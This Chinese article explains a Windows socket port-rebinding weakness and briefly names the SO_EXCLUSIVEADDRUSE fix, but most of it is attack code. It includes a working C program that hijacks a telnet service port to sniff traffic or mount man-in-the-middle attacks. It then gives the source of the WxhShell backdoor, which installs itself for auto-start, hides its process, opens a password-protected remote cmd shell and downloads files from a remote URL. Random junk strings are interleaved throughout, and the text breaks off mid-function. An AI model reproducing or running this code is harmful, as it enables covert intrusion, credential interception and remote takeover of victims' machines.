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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: K@zzseQ}= s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
=+j>?Yi l ,T*b saddr.sin_family = AF_INET; 9@."Y>1G \#; -C<[b saddr.sin_addr.s_addr = htonl(INADDR_ANY); &18CCp\3)c T7{Z0- bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); +B#3! 9V=bV=4: 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 F!;0eS"xp .Z"p'v 这意味着什么?意味着可以进行如下的攻击: //}[(9b'\ er?'o1M 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 1>SCY_Cv 6KD 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 1MCHwX3/ 007SA6xq 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 )TBG-<wt ;hOrLy&O 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 t$z
FsFTQ 1cyX9X 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 5Q.bwl : / ` 7p'i 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 pA*cF!tq7 : qKxm( 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 >~5>)yN_a1 $#dPM*E #include /?jAG3" #include Gv!*
Qk4 #include XTHy
CK #include 0.+"K} DWORD WINAPI ClientThread(LPVOID lpParam); Cr,UP8MO int main() |-hzvuSX { F(8>"(C WORD wVersionRequested; T6|zT}cb DWORD ret; Y)>GwFK$ WSADATA wsaData; {iqH 27\E BOOL val; 7mSVL\\^ SOCKADDR_IN saddr; ;K:)R_H SOCKADDR_IN scaddr; @'DfNka int err; =>Vo|LBoe SOCKET s; ? {Lp SOCKET sc; Ch`XwLY9 int caddsize; Z~tOR{q HANDLE mt; 5A:mu+Iz6H DWORD tid; 9d4PH wVersionRequested = MAKEWORD( 2, 2 ); %v\0Dm+A err = WSAStartup( wVersionRequested, &wsaData ); Vc3tKuMsiX if ( err != 0 ) { j(!M printf("error!WSAStartup failed!\n"); ? Ovl(4VG return -1; CUT D]:\ } (z0S5#g
,x saddr.sin_family = AF_INET; <JKRdIx&1 ~jb6 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 yAoJ?<4^W K+D`U6& saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); D L_{q6ZK saddr.sin_port = htons(23); 5tg if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \cdNyVY { "z\T$/ printf("error!socket failed!\n"); mu2r#I return -1; Dx =ms^oN5 } 1e*+k$-{ val = TRUE; <8[BB7 //SO_REUSEADDR选项就是可以实现端口重绑定的 D;It0" if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) TdI5{?sW { }\`MXh's printf("error!setsockopt failed!\n"); ^ad
p<?q4 return -1; S*6P=O* } <k'=_mC_ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; sB
]~=vUP //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ci>+Zi6 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 7</&=lly w1/pwzn if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) "jzU` { gk\IivPb ret=GetLastError(); ua*k{0[ printf("error!bind failed!\n"); ]S4kWq{ Y return -1; '$W@I }
9@
6y(#s listen(s,2); n4+l,~ while(1) bE.,)GY { *,~d!Fc caddsize = sizeof(scaddr); @.T
'>;izr //接受连接请求 ozF>2`K
} sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); |BnjT*_9 if(sc!=INVALID_SOCKET) ps"DL4* { v!T%xUb0 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ;1&%Wj"d if(mt==NULL) );V6YE { cj@Ygc)n printf("Thread Creat Failed!\n"); .`&($W break; *{8Kb>D } tgH@|Kg } 6+(g4MW CloseHandle(mt); 6wx;grt'Z } `me2Q closesocket(s); m'k.R
j WSACleanup(); BB5(=n+ return 0; L6Ykv/V } * F%Wf DWORD WINAPI ClientThread(LPVOID lpParam) W"+*%x { e )l<D) SOCKET ss = (SOCKET)lpParam; blNJ SOCKET sc; ]7n+|@3x unsigned char buf[4096]; rvuskXdo SOCKADDR_IN saddr; +uKh]RP long num; Mfe/(tlI DWORD val; Aa-L<wZVPt DWORD ret; Y&KI/]ly,L //如果是隐藏端口应用的话,可以在此处加一些判断 ya3A^&: //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 xGTVC=q saddr.sin_family = AF_INET; nS)U+q-x&o saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ;<d("Yz:@Z saddr.sin_port = htons(23); -jdS8n4 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6gV-u~j [# { -iWt~ printf("error!socket failed!\n"); C-lv=FJEk/ return -1; 13wO6tS
k } T%Xl(.Ft val = 100; +<7~yZ[Z8 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3maiBAOKz { m`gH5vQa ret = GetLastError(); w%R(*,r6 return -1; ;QkUW<( } /]m5HW(P7K if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3:Q5dr+1_ { ^.)oQo SE ret = GetLastError(); UZ7Zzc#g return -1; 2 %UzCK } [E<NEl* if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) I%|,KWM { ~:JoKm`vU printf("error!socket connect failed!\n"); REg&[e+% closesocket(sc); olv0w;s closesocket(ss); IgIM8"N return -1;
WrHY' } Iwx~kvz\_( while(1) eIDrN%3 { 0:iR=S //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 MD):g@ //如果是嗅探内容的话,可以再此处进行内容分析和记录 +dG3/vV //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 )Fsc0_ num = recv(ss,buf,4096,0); \<aR^Sj. if(num>0) ]5O]=^
u0 send(sc,buf,num,0); RW`j^q,c3 else if(num==0) eF"k"Ckt' break; JT p+&NS num = recv(sc,buf,4096,0); B"Ma<"HU if(num>0) rD;R9b"J send(ss,buf,num,0); @B`nM#X# else if(num==0) ^`S.Mw. break; V8hmfV~=]P } >Jk]=_% closesocket(ss); vbh 5 closesocket(sc); 3iIURSG@ return 0 ; `N}aV Ns } e?7Oom s'^sT=b )Drif\FF) ========================================================== Bwc_N.w?3 [gDl<6a#4 下边附上一个代码,,WXhSHELL 6b1AIs8 9i46u20 ========================================================== 5{xK&[wR* F.{$HJ #include "stdafx.h" /,,IM/(6^ BR-4L2[ #include <stdio.h> 5c\dm #include <string.h> P~*'/!@ #include <windows.h> QuIZpP= #include <winsock2.h> 7Ucq(,\./ #include <winsvc.h> I}+9@d #include <urlmon.h> r4M;] hkB|rhJgm #pragma comment (lib, "Ws2_32.lib") {G+iobQdd #pragma comment (lib, "urlmon.lib") *zwo="WA\t
u]OYu #define MAX_USER 100 // 最大客户端连接数 fXe$Ug|5a #define BUF_SOCK 200 // sock buffer &^7(?C'u #define KEY_BUFF 255 // 输入 buffer z22:O"UHa 9&bJ] #define REBOOT 0 // 重启 DB+oCE<.# #define SHUTDOWN 1 // 关机 ,u=+%6b)A w$Z%RF'p #define DEF_PORT 5000 // 监听端口 "r~/E|Da< kEp{L #define REG_LEN 16 // 注册表键长度 h=4 GSU #define SVC_LEN 80 // NT服务名长度 Am|)\/K+Z dJe
3DW : // 从dll定义API IgN^~ag` typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &O5O@3:7] typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); J$U_/b.mk typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Us.k, typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); },@ex @*E=O | // wxhshell配置信息 c#f@v45 struct WSCFG { ";;!c. !^ int ws_port; // 监听端口 c^<~Y$i char ws_passstr[REG_LEN]; // 口令 \
B'AXv6 int ws_autoins; // 安装标记, 1=yes 0=no P;eXUF+jn char ws_regname[REG_LEN]; // 注册表键名 Z]w?RL char ws_svcname[REG_LEN]; // 服务名 + KaVvf char ws_svcdisp[SVC_LEN]; // 服务显示名 $Ai zKiV char ws_svcdesc[SVC_LEN]; // 服务描述信息 F'-XAI
<3 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4hxa|f int ws_downexe; // 下载执行标记, 1=yes 0=no yp[,WZt char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" K
$WMrp char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (I#mo2 ExM VGe }; ia (&$a8X R9(Yi<CC // default Wxhshell configuration FU(2,Vl struct WSCFG wscfg={DEF_PORT, eL<jA9cJ9 "xuhuanlingzhe", gZiwXb 1, ;XQ27,K& "Wxhshell", 8rjD1< "Wxhshell",
CvR-lKV< "WxhShell Service", lwz\"8 "Wrsky Windows CmdShell Service", ?\)h2oi!F5 "Please Input Your Password: ", +&dkJ 4g[ 1, 2liJ^ ` " http://www.wrsky.com/wxhshell.exe", !
,0 "Wxhshell.exe" [RF]lM]w }; ` Z/ MQ Qm=iCZ|E^! // 消息定义模块 hzU(XW char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 'c_K[p$ char *msg_ws_prompt="\n\r? for help\n\r#>"; 1{wbC) char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; xQ2:tY#? char *msg_ws_ext="\n\rExit."; \ @[Q3.VX char *msg_ws_end="\n\rQuit."; <s7cCpUFP char *msg_ws_boot="\n\rReboot..."; I~6 o<HO char *msg_ws_poff="\n\rShutdown..."; 2% /Kf}+ char *msg_ws_down="\n\rSave to "; 7A) E4f' w0+X;aId char *msg_ws_err="\n\rErr!"; @SyL1yFX char *msg_ws_ok="\n\rOK!"; i]s%tEZ1 lD, ~% char ExeFile[MAX_PATH]; ktS^^!,l% int nUser = 0; i(OeE"YA HANDLE handles[MAX_USER]; l^$'6q" int OsIsNt; z[ 'G"yCi rlA/eQrS SERVICE_STATUS serviceStatus; Zxhbnl6 SERVICE_STATUS_HANDLE hServiceStatusHandle; ?3 k_YN" (Q @'fb9z // 函数声明 hSR+7qN<e int Install(void); x(xi%?G int Uninstall(void); rmo\UCD int DownloadFile(char *sURL, SOCKET wsh); Z1:%AqxP int Boot(int flag); l^OflZC~ void HideProc(void); zsd1n`r int GetOsVer(void); #9Jr?K43
int Wxhshell(SOCKET wsl); 9X%:
){ void TalkWithClient(void *cs); ggiy{CdR int CmdShell(SOCKET sock); RGs7Hc int StartFromService(void); IM7<z,* oF int StartWxhshell(LPSTR lpCmdLine); vy 7/ i;U*Y
*f VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); K5|~iW' VOID WINAPI NTServiceHandler( DWORD fdwControl ); UAT\ .
-*MY7t3 // 数据结构和表定义 biU_ImJ>0 SERVICE_TABLE_ENTRY DispatchTable[] = ^ =n7E { 3l45(%g+ {wscfg.ws_svcname, NTServiceMain},
7s#8-i {NULL, NULL} y`j=(|DV }; zSQy
\~z$'3H` // 自我安装 'j<u0'K@ int Install(void) ~59lkr8 {
l
EzN char svExeFile[MAX_PATH]; IsE3-X| HKEY key; [A/2
M s strcpy(svExeFile,ExeFile); e\cyiW0 ruvfp_: // 如果是win9x系统,修改注册表设为自启动 BZHoRd{EH if(!OsIsNt) {
9\<q=p~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o2U5irU RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `6J7c;: RegCloseKey(key); Y`(Ri-U4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { c6#E gN,X RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )=d)j^t9 RegCloseKey(key); D|*w6p("z return 0; *bf 5A9 } v-d"dC` } E
V)H>kM } q%e'WM G~n else { B K+P ?%UiW7}j'; // 如果是NT以上系统,安装为系统服务 )Yy5u'} SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [B+F}Q^; if (schSCManager!=0) Yq6 @R|u { \
*[Ht!y SC_HANDLE schService = CreateService Se'SDJl= ( }7 +%k/ schSCManager, Ht(TYq wscfg.ws_svcname, 0VtjVz*C7& wscfg.ws_svcdisp, gM>?w{!LBx SERVICE_ALL_ACCESS, n19A>,m SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , '(3 QyCD SERVICE_AUTO_START, .=J- !{z SERVICE_ERROR_NORMAL, 5(J?C-Pk svExeFile, 8+}rm6Y+ NULL, V~j^ NULL, [YULvWAJ NULL, aYT!xdCI NULL, 1g{}O^ul NULL Lk,q~
); */aQ+%>jf if (schService!=0) J.R\h! { TS9<uRO0 CloseServiceHandle(schService); .ZF%$H CloseServiceHandle(schSCManager); mI,lW|/l, strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); LxhS
9 strcat(svExeFile,wscfg.ws_svcname); 5tpC$4m if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { O[t?*m1/ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;!S5P( RegCloseKey(key); n({%|O<| return 0; 8Lx/ZGy } ?[zw5fUDS } uq s
CloseServiceHandle(schSCManager); `i
cs2po } k-=lt\? } 4bA^Gq j}//e%$a return 1; AaA!U!B } S._2..%G o}:x-Y // 自我卸载 PB$beQ int Uninstall(void) OS@uGp=
{ x;yvv3-$ HKEY key; $rcv@-l 0}NDi|o if(!OsIsNt) { 4%~*} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1k4\zVgi RegDeleteValue(key,wscfg.ws_regname); Q&r.wV| RegCloseKey(key); ]-X6Cl if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;X<Ez5v3 RegDeleteValue(key,wscfg.ws_regname); &"K_R(kN RegCloseKey(key); T(x@gwc return 0; {f-O~P<Z4 } fub04x) } K0j%\]\Tp } qA!p7"m| else { 7ihcjyXB Pz0MafF|T SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;LP3 if (schSCManager!=0) '4i8&p`/ { 2_HIn SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); G3^<l0?S if (schService!=0) Xrb7.Y0d { p2 1| if(DeleteService(schService)!=0) { k5aB|xo CloseServiceHandle(schService); Vu.=,G CloseServiceHandle(schSCManager); hQj@D\} return 0; vx($o9 } b_nE4> CloseServiceHandle(schService); M;y*`<x } I
m
I$~q' CloseServiceHandle(schSCManager); <!>\
n\A } EB!ne)X } <(>t"< ;&CLb`<y return 1; #'1dCh
vZ } H;\C7w| -V{"Lzrfug // 从指定url下载文件 E} XmZxHV int DownloadFile(char *sURL, SOCKET wsh) Skci;4T( { [k%hl`} HRESULT hr; qA)YYg/G char seps[]= "/"; d]s^?=gM char *token; ow9a^|@a char *file; lj}3TbM char myURL[MAX_PATH]; 8_4!Ar>2 char myFILE[MAX_PATH]; ;dUKFdKH} ULz<P strcpy(myURL,sURL); eg/itty token=strtok(myURL,seps); ZS=H1 while(token!=NULL) o]&q'>Rf { {Cm!5Q Yy file=token; N\__a~'0p token=strtok(NULL,seps); 34!.5^T } !gW`xVGv j
H2)8~P GetCurrentDirectory(MAX_PATH,myFILE); @ywtL8"1~ strcat(myFILE, "\\"); w~v6=^ strcat(myFILE, file); 5n2!Y\ send(wsh,myFILE,strlen(myFILE),0); 5]I)qij
q send(wsh,"...",3,0); &6OY^6< hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); W;I{4ed6 if(hr==S_OK) "|Q.{(|kO1 return 0; 1+$F= M~ else X<8|uP4 return 1; QD!NV* 5&Yt=)c\ } 8d5#vm J@/4CSCR] // 系统电源模块 z[J=WI int Boot(int flag) 18NnXqe-m { 3?V'O6 HANDLE hToken; 95#]6*#[4! TOKEN_PRIVILEGES tkp; .q
MxShUU >xo<i8<Miv if(OsIsNt) { <jJ'T?,
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); -(TC' LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ek<B= F tkp.PrivilegeCount = 1; 79>x/jZka tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; z{OL+-OY AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); c\o_U9=n if(flag==REBOOT) { 3LfF{ED@ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) wp1O*)/q return 0; heIys.p } agwbjkU/ else { j;}-x1R if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) wT!?.Y)aj return 0; ZVH 9je } wry`2_c } DI8I'c-P else { 5(CInl if(flag==REBOOT) { Ao?b1VYy/ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #g$I>\O< return 0; -S]ercar } DDmC3
else { ]*a(^*}A% if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) .?NfV%vv return 0; 7hn[i,?`
H } `TO Xktj }
'{cND gKTCfD~ return 1; hd'QMr[; } N:3=G`Ws LkYcFD // win9x进程隐藏模块 *%jXjTA0D void HideProc(void) r>8`gAhx { aoW2 c1`?Z Hz,Gn9:p HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); R-pON4D"* if ( hKernel != NULL ) `/m]K~~ { n5~Dxk pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?3DFm ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); t9<BQg FreeLibrary(hKernel); *j83E[(] } 2UYtEJ(?`{ E^n!h06~G return; xp:I( } A
,0}bFK Oq<3&* // 获取操作系统版本 n,2 p)#? int GetOsVer(void) R $<{"b { t5l<Lm) OSVERSIONINFO winfo; oD2! [& winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); IW nG@! GetVersionEx(&winfo); a++gwl if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) tC1'IE-h return 1; x!S}Y" else mgjcA5z return 0; =zAFsRoD_B } [%LGiCU] )$Ib6tYY // 客户端句柄模块 !4^Lv{1QZ int Wxhshell(SOCKET wsl) ^WWr8- { G@D8[ SOCKET wsh; of7'?]w struct sockaddr_in client; ok ,O/|E}? DWORD myID; A-vYy1,' ]c_lNHssmq while(nUser<MAX_USER) W1o6Sh8v( { gYho$E int nSize=sizeof(client); uHf1b?W wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;X;x.pi if(wsh==INVALID_SOCKET) return 1; e"EGqn&! p{qA%D handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4Z{R36 { if(handles[nUser]==0) ,?K5/3ss closesocket(wsh); \A!Iln else jl;N
Fk% nUser++; "<^
Vp-7r } -=:tlH
n WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); fUq}dAs*K i%f
C`@ return 0; ^|U5@u_ } ~PpU'[ dEf5x_TGm // 关闭 socket 4u2_xbT void CloseIt(SOCKET wsh) ):+^893) { rmX5-k closesocket(wsh); YuoErP=P nUser--; # NK{]H$fd ExitThread(0); o=5hG9dj } =fy.'+ iRW5*-66f // 客户端请求句柄 %0815
5M void TalkWithClient(void *cs) 2l+'p[b0> { [m
x}n+~ 1-4[w
*u> SOCKET wsh=(SOCKET)cs; rw@N=`4P char pwd[SVC_LEN]; "$"<AKCwS char cmd[KEY_BUFF]; 2mx }bj8 char chr[1]; 6QPbmO]z int i,j; f4X}F|!h 0icB2Jm:D} while (nUser < MAX_USER) { Z
+<Y.*6 *:l$ud if(wscfg.ws_passstr) { $Ixd;`l* if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0eCjK. //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4g.S!-H@R //ZeroMemory(pwd,KEY_BUFF); -42 U i=0; zb9vUxN [ while(i<SVC_LEN) { Eh`W J~ G<*h,'B // 设置超时
G0r(xP? fd_set FdRead; 7vH4}S\
q struct timeval TimeOut; noT}NX% FD_ZERO(&FdRead); pAEJ=Te FD_SET(wsh,&FdRead); KA`)dMWL TimeOut.tv_sec=8; #)6
bfyi- TimeOut.tv_usec=0; 2[Qzx%Vp int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $- Z/UHT if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); A_6Dol=J@
q,'~=Y5 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %#]/]B/4 pwd =chr[0]; f
K4M:_u if(chr[0]==0xd || chr[0]==0xa) { :~,akX$ pwd=0; =0U"07%} break; {
lZ<'p } Rn whkb&& i++; 0ENqK2 } ;Y &2G' 1Imb"E // 如果是非法用户,关闭 socket l?beqw: if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Od]wh } st CFLYox o\yqf:V8 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?Vr~~v"fg8 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j)O8&[y= yj`xOncE} while(1) { R2[
} VzFzVeJ ZeroMemory(cmd,KEY_BUFF); t== a(e z;i4F.p // 自动支持客户端 telnet标准 "}UYsXg j=0; 7o M]qLF while(j<KEY_BUFF) { Yf^/YLLS if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o Bp.|8- cmd[j]=chr[0]; n%P,"V if(chr[0]==0xa || chr[0]==0xd) { ;
>>/}Jw\ cmd[j]=0; C)s*1@af break; C;!h4l7L } j(=zc6m j++; Aq P\g k } X<$8'/p r g.O? 1bebe // 下载文件 >z a= v if(strstr(cmd,"http://")) { $L$GI~w/ send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8 K>Ejr if(DownloadFile(cmd,wsh)) kPZ1OSX send(wsh,msg_ws_err,strlen(msg_ws_err),0); 15~+Ga4 else !HHbd|B_ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &28n1 } z15QFVm else { m4@w M? EC|b7 switch(cmd[0]) { pDx}~IB 6MRS0{ // 帮助 Aonq;} V e case '?': { a'|Dm7'4t send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >pl*2M& break; 84dej< } 0=J69Yd // 安装 6ypqnOTr case 'i': { |tS~\_O/ if(Install()) tlFc+3 send(wsh,msg_ws_err,strlen(msg_ws_err),0); dQL!
>6a else {VE$i2nC8 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w]0jq
U6 break; yo0?QRT } k||DcwO // 卸载 wen6" case 'r': { )Z 3fytY if(Uninstall())
goT:\2 send(wsh,msg_ws_err,strlen(msg_ws_err),0); Cx/duodp else 7u^6`P send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $T0|zPK5 break; D r $N{d } W}1h~rNy // 显示 wxhshell 所在路径 g)iSC?H case 'p': { ;nJCd1H char svExeFile[MAX_PATH]; VU*{E strcpy(svExeFile,"\n\r"); ptuW}"F strcat(svExeFile,ExeFile); v+=_ send(wsh,svExeFile,strlen(svExeFile),0); ~1h-LbFI2 break; b\\?aR
| } Ic/<jFZXM // 重启 /(nA)V( : case 'b': {
afc?a-~Z send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <`9:hPp0 if(Boot(REBOOT)) -}juj;IVv send(wsh,msg_ws_err,strlen(msg_ws_err),0); EH$wWl^ else { u;:N 4d=f' closesocket(wsh); 4p~:(U[q ExitThread(0);
t5N4d } WiviH#hF break; +o/;bm*U<K } MOmp{@ // 关机 <STjB,_s case 'd': { XfsCu> send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {hRAR8 if(Boot(SHUTDOWN)) knBT(x'+ send(wsh,msg_ws_err,strlen(msg_ws_err),0); <$njU=YE& else { t@v>eb closesocket(wsh); }RUC#aW1 ExitThread(0); nhCB])u8l } D1O7S]j break; d*>M<6b- } }}(~' // 获取shell HKcipDW case 's': { bt&vik _ CmdShell(wsh); $C)@GGY closesocket(wsh); [bT@Y:X@` ExitThread(0); G:e} >' break; u%[*;@;9+ } U0N[~yW(t1 // 退出 rjR case 'x': { d$2{_6 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >LU*F|F]B CloseIt(wsh); BS|-E6E< break; |_=jXf\TL } (x$k\H // 离开 oC[wYUDg case 'q': { Mm[%v
t40 send(wsh,msg_ws_end,strlen(msg_ws_end),0); Y]gt86 closesocket(wsh); Zz3#Kt5t3 WSACleanup(); ^3yjE/Wi" exit(1); x)*/3[ break; |XH3$;=*h } Vi? Z`G]w! } f@/qW!o } 9vj:=,TNu ~V|!\CB // 提示信息 <zDe;& if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +`4}bc,G } Dps{[3Y+ } Uq+
_#{2( R$3JbR. return; /pge 7P } lb6s3b f%}+.eD // shell模块句柄 {Jy%h8n* int CmdShell(SOCKET sock) .BUl$RW| { nRE}F5k STARTUPINFO si; Q.]
)yqX6 ZeroMemory(&si,sizeof(si)); [qI* ] si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Z{CL! si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; y-X'eCUz PROCESS_INFORMATION ProcessInfo; LK%B6-;~- char cmdline[]="cmd"; :hr@>Y~r CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); gdZVc9_ return 0; @}Z/{Z[@ } eJA{]^Zf #<e7 Y0 // 自身启动模式 KN`z68c4L int StartFromService(void) U+RPn?Q { 7fEV/j typedef struct PmY:sJ{M { UKBMGzu2: DWORD ExitStatus; \O?B9_ DWORD PebBaseAddress; 6K y;1$ DWORD AffinityMask; *u>\&`h= DWORD BasePriority; k$ M4NF~$ ULONG UniqueProcessId; :&-}S>pC ULONG InheritedFromUniqueProcessId; &}$D[ 4N } PROCESS_BASIC_INFORMATION; IjRmpVcwN =arsoCa PROCNTQSIP NtQueryInformationProcess; K{P#[X*5 }\{1`$*~ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; csM|VNE> static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7x]nY. \ rQm HANDLE hProcess; u_"h/)C'H PROCESS_BASIC_INFORMATION pbi; \@3 Y
